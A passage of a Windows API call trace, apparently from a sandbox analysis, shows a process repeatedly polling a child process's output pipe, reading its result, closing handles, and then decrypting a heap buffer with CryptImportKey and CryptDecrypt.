dwMilliseconds=0x14) returned 0x102 [0133.591] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.716] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.779] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.810] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.842] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.842] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.872] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.904] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0133.998] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0133.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.029] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.059] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.059] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.180] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.180] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.200] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.231] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.231] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.262] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.262] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.325] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.325] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.356] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.357] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.389] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.389] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.418] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.481] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.564] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.591] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.886] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0134.921] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0134.921] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.002] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0135.028] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0135.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.279] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0136.308] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0136.308] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.570] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0137.605] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0137.605] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.833] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.833] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0138.869] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0138.869] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.606] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.607] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.712] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.752] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.752] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.801] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.801] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0139.832] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0139.832] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.384] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.385] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.416] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.440] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.440] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.882] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.961] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.961] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0140.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0140.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.035] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.035] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.599] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.599] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0141.633] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0141.633] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.082] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.082] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0142.125] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0142.125] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0145.490] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0145.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0145.511] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0145.511] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0145.544] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x2d, lpBytesLeftThisMessage=0x0) returned 1 [0145.544] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x2d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x2d, lpOverlapped=0x0) returned 1 [0145.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x0 [0145.545] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0145.545] GetExitCodeProcess (in: hProcess=0x128, lpExitCode=0x18f100 | out: lpExitCode=0x18f100*=0x0) returned 1 [0145.545] CloseHandle (hObject=0x124) returned 1 [0145.545] CloseHandle (hObject=0x128) returned 1 [0145.546] CloseHandle (hObject=0xb8) returned 1 [0145.546] CloseHandle (hObject=0xc0) returned 1 [0145.546] CloseHandle (hObject=0xc4) returned 1 [0145.546] CloseHandle (hObject=0x120) returned 1 [0145.546] GetProcessHeap () returned 0x2ef0000 [0145.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0145.546] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0145.546] GetProcessHeap () returned 0x2ef0000 [0145.546] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16328 | out: hHeap=0x2ef0000) returned 1 [0145.546] GetProcessHeap () returned 0x2ef0000 [0145.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe80) returned 0x2f16328 [0145.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f4f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f11a90) returned 1 [0145.547] CryptDecrypt (in: hKey=0x2f11a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16328, pdwDataLen=0x18f568 | out: pbData=0x2f16328, pdwDataLen=0x18f568) returned 1 [0145.547] CryptDestroyKey (hKey=0x2f11a90) returned 1 [0145.547] GetProcessHeap () returned 0x2ef0000 [0145.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb38 [0145.547] GetProcessHeap () returned 0x2ef0000 [0145.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f110e8 [0145.547] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb58 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1c) returned 0x2f11200 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fb68 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f11138 [0145.548] GetProcessHeap () returned 0x2ef0000 [0145.548] RtlAllocateHeap 